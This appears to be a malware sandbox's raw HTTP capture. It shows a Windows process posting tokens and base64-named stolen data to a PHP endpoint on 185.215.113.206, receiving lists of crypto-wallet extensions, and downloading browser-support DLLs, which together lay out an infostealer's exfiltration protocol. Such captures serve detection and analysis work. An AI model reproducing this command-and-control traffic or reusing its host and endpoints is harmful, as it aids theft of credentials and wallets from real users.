Nov 1, 2024 03:45:07.175395966 CET	424	IN	Data Raw: 61 33 42 6c 5a 32 70 72 59 6d 78 72 61 32 56 6d 59 57 4e 6d 62 6d 31 72 59 57 70 6a 61 6d 31 68 59 6d 6c 71 61 47 4e 73 5a 33 77 78 66 44 42 38 4d 48 78 43 59 57 4e 72 63 47 46 6a 61 79 42 58 59 57 78 73 5a 58 52 38 59 57 5a 73 61 32 31 6d 61 47 Data Ascii: a3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJ
Nov 1, 2024 03:45:07.175410032 CET	204	IN	Data Raw: 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 74 6f 61 47 70 6a 61 47 74 72 61 47 31 70 5a 32 64 68 61 32 6c 71 62 6d 74 6f 5a 6d 35 6b 66 44 46 38 4d 48 77 77 66 45 31 35 56 47 39 75 56 32 46 73 62 47 56 30 66 47 5a 73 5a 47 5a 77 5a 32 Data Ascii: bGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJkbm5pbG1jZGNnfDF8MHwwfA==
Nov 1, 2024 03:45:07.183991909 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJEHJJKJEGHJJKEBFBG Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 33 62 36 36 38 64 39 63 36 62 62 30 62 32 65 37 66 32 65 34 61 66 32 34 36 63 61 36 66 36 66 38 35 39 64 37 65 39 62 66 33 30 63 65 39 33 33 31 37 36 63 39 61 64 66 37 62 39 31 33 30 37 33 62 35 62 30 65 63 39 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 2d 2d 0d 0a Data Ascii: ------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="token"673b668d9c6bb0b2e7f2e4af246ca6f6f859d7e9bf30ce933176c9adf7b913073b5b0ec9------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="message"fplugins------HJJEHJJKJEGHJJKEBFBG--
Nov 1, 2024 03:45:07.475029945 CET	335	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 1, 2024 03:45:07.529272079 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHDHJEBGHJKFIECBGCB Host: 185.215.113.206 Content-Length: 7019 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 03:45:07.529385090 CET	7019	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 33 62 36 36 Data Ascii: ------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="token"673b668d9c6bb0b2e7f2e4af246ca6f6f859d7e9bf30ce933176c9adf7b913073b5b0ec9------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 1, 2024 03:45:08.762855053 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 03:45:08.762938023 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 03:45:08.763946056 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 03:45:09.430339098 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 1, 2024 03:45:09.719590902 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:09 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 1, 2024 03:45:09.719791889 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49756	185.215.113.206	80	6336	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:45:22.437197924 CET	202	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEGCFBGDHJJJJJKJECF Host: 185.215.113.206 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 03:45:22.437216043 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 33 62 36 36 Data Ascii: ------KJEGCFBGDHJJJJJKJECFContent-Disposition: form-data; name="token"673b668d9c6bb0b2e7f2e4af246ca6f6f859d7e9bf30ce933176c9adf7b913073b5b0ec9------KJEGCFBGDHJJJJJKJECFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Nov 1, 2024 03:45:23.851171017 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 03:45:23.955508947 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKFIDHDGIEGCAKFIIJK Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 03:45:23.955526114 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 33 62 36 36 Data Ascii: ------DAKFIDHDGIEGCAKFIIJKContent-Disposition: form-data; name="token"673b668d9c6bb0b2e7f2e4af246ca6f6f859d7e9bf30ce933176c9adf7b913073b5b0ec9------DAKFIDHDGIEGCAKFIIJKContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Nov 1, 2024 03:45:24.731796980 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 03:45:24.893932104 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHDAEHDAKECGCAKFCFIJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 33 62 36 36 38 64 39 63 36 62 62 30 62 32 65 37 66 32 65 34 61 66 32 34 36 63 61 36 66 36 66 38 35 39 64 37 65 39 62 66 33 30 63 65 39 33 33 31 37 36 63 39 61 64 66 37 62 39 31 33 30 37 33 62 35 62 30 65 63 39 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="token"673b668d9c6bb0b2e7f2e4af246ca6f6f859d7e9bf30ce933176c9adf7b913073b5b0ec9------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="file"------FHDAEHDAKECGCAKFCFIJ--
Nov 1, 2024 03:45:25.676681995 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 03:45:26.101128101 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEHIDHDAKJDHJKEBFIE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 33 62 36 36 38 64 39 63 36 62 62 30 62 32 65 37 66 32 65 34 61 66 32 34 36 63 61 36 66 36 66 38 35 39 64 37 65 39 62 66 33 30 63 65 39 33 33 31 37 36 63 39 61 64 66 37 62 39 31 33 30 37 33 62 35 62 30 65 63 39 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 48 49 44 48 44 41 4b 4a 44 48 4a 4b 45 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IJEHIDHDAKJDHJKEBFIEContent-Disposition: form-data; name="token"673b668d9c6bb0b2e7f2e4af246ca6f6f859d7e9bf30ce933176c9adf7b913073b5b0ec9------IJEHIDHDAKJDHJKEBFIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJEHIDHDAKJDHJKEBFIEContent-Disposition: form-data; name="file"------IJEHIDHDAKJDHJKEBFIE--
Nov 1, 2024 03:45:26.878627062 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 03:45:27.097459078 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 1, 2024 03:45:27.378386974 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:27 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 1, 2024 03:45:27.378422022 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVE
Nov 1, 2024 03:45:27.378478050 CET	1236	IN	Data Raw: 85 c0 74 1e 8b 75 1c 8b 7d 14 8b 55 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 Data Ascii: tu}UMt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8
Nov 1, 2024 03:45:27.378499031 CET	1236	IN	Data Raw: 00 0f 84 98 02 00 00 8b 75 18 85 f6 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 Data Ascii: uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$
Nov 1, 2024 03:45:27.378509045 CET	224	IN	Data Raw: 89 45 d8 8d 45 dc 89 f9 31 d2 ff 75 1c ff 75 18 53 50 56 8d 45 e0 50 e8 b4 fa ff ff 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d Data Ascii: EE1uuSPVEPo9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3
Nov 1, 2024 03:45:27.378578901 CET	1236	IN	Data Raw: f4 01 19 db f7 d0 09 c3 21 fb b8 04 00 00 00 29 c8 c1 f8 1f 8b 7d 1c 80 7c 37 f3 01 f7 d0 19 ff 09 c7 21 df 21 d7 b8 05 00 00 00 29 c8 c1 f8 1f f7 d0 8b 55 1c 80 7c 32 f2 01 19 db 09 c3 b8 06 00 00 00 29 c8 c1 f8 1f 80 7c 32 f1 01 f7 d0 19 d2 09 Data Ascii: !)}\|7!!)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]U
Nov 1, 2024 03:45:27.378590107 CET	1236	IN	Data Raw: fc 07 00 83 c4 04 eb 09 c7 47 08 01 00 00 00 89 fe 89 f0 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 08 8b 55 18 8b 4d 14 8b 5d 0c 8b 75 08 8b 3e 8b 46 04 39 d8 74 3a 8d 4e 08 8b 56 08 c7 46 08 00 00 00 00 85 ff 89 4d ec 89 55 f0 74 48 8b Data Ascii: G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM
Nov 1, 2024 03:45:27.378599882 CET	1236	IN	Data Raw: 01 ff ff ff 73 20 68 0e e0 ff ff e8 6b f7 07 00 83 c4 04 68 02 01 00 00 56 e8 6f f7 07 00 83 c4 08 e9 cb 00 00 00 8d bd f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 89 b5 ec fe ff ff 56 e8 cf f7 07 00 83 c4 0c bb 00 01 00 00 66 2e 0f 1f 84 00 00 00 Data Ascii: s hkhVohh !Vf.@uVuW)9wSuWT>\>=t%>>fM
Nov 1, 2024 03:45:27.378611088 CET	636	IN	Data Raw: 00 c7 45 e0 00 00 00 00 89 45 d4 83 f8 08 0f 82 fc 02 00 00 8b 4d d4 83 e1 f8 8d 41 f8 89 c2 c1 ea 03 83 c2 01 85 c0 89 4d c8 0f 84 ef 01 00 00 89 d1 83 e1 fe 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef c9 66 0f ef d2 8b 7d 10 8b 5d cc 0f 1f 80 00 00 Data Ascii: EEMAMfo 1ff}]fn4ff`fafofrfo f[fpffpffof% fpfpfbfnlff`fafffrf% [fpffpfpffp
Nov 1, 2024 03:45:29.939012051 CET	94	OUT	GET /746f34465cf17784/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 1, 2024 03:45:30.220309019 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:30 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 1, 2024 03:45:31.673002958 CET	95	OUT	GET /746f34465cf17784/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 1, 2024 03:45:31.954279900 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:31 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 1, 2024 03:45:32.665869951 CET	91	OUT	GET /746f34465cf17784/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 1, 2024 03:45:32.947150946 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 